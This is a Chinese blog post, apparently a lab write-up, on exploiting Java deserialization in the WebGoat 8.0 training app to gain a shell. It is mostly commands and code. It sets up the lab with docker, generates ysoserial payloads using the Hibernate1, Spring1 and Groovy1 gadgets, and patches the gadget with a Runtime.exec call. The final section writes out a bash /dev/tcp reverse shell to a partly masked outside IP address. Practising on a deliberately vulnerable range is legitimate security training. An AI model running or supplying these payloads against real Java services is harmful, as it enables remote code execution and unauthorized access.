万网极研社网络安全

Webgoat8.0反序列化获取shell

2019-07-09  本文已影响23人  你还没熟

安装Webgoat靶场

docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0

访问:192.168.58.147:8080/WebGoat,可直接访问则搭建成功,进去之后注册个账号。

解题分析

生成payload

使用hibernate-core 5生成payload

java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "touch /tmp/test" | base64 -w0

使用spring生成payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "touch /tmp/test1" | base64 -w0

使用groovy生成payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/test1" | base64 -w0
1.jpg

解题过程

java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "sleep 5" | base64 -w0
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"sleep 5\"}).waitFor();";
 clazz.makeClassInitializer().insertAfter(cmd);
java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "anything" | base64 -w0

反弹shell

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/47.xxx.xxx.xxx.xxx/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "anything" | base64 -w0

参考文献:
https://blog.spoock.com/2018/10/31/reverse-shell-on-limited-environments/
https://www.jianshu.com/p/0c45058e1723

上一篇下一篇

猜你喜欢

热点阅读